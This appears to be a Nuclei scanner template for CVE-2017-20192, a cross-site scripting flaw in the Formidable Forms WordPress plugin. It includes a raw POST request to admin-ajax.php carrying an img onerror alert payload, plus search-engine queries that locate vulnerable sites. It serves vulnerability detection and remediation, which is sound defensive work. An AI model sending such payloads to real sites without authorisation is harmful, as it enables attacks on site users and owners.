id: CVE-2017-20192

info:
  name: Formidable Forms < 2.05.02 - Cross-Site Scripting
  author: 0xanis
  severity: medium
  description: |
    Formidable Form Builder for WordPress versions before 2.05.03 contains a stored cross-site scripting caused by insufficient input sanitization and output escaping in form parameters like 'after_html', letting unauthenticated attackers inject and execute arbitrary scripts in victims' browsers
  impact: |
    Attackers can execute arbitrary scripts in users' browsers, potentially leading to session hijacking, defacement, or redirection.
  remediation: |
    Update to version 2.05.03 or later.
  reference:
    - https://klikki.fi/formidable-forms-vulnerabilities/
    - https://wordpress.org/plugins/formidable/
    - https://nvd.nist.gov/vuln/detail/CVE-2017-20192
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2017-20192
    epss-score: 0.00999
    epss-percentile: 0.58185
    cwe-id: CWE-79
    cpe: cpe:2.3:a:strategy11:formidable_forms:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    fofa-query: body="formidable" && body="wp-content/plugins"
    google-query: inurl:"wp-content/plugins/formidable"
  tags: cve,cve2017,wordpress,wp-plugin,formidable,xss,reflected,vkev

http:
  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=frm_forms_preview&before_html=<img src=x on[entry_key]error=alert(document.domain) />

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(header, "text/html")'
          - 'contains_all(body, "<img src=x onerror=alert(document.domain)")'
        condition: and
# digest: 490a0046304402205a01dcbcf623a13fc61e35ebeac8e44b4e777183ac966f10c27948f9ef63a7400220365b5dbf40173589f24d879e1a9e2f046cf8e7f980663b8eceb507b2c0a5e491:922c64590222798bb761d5b6d8e72950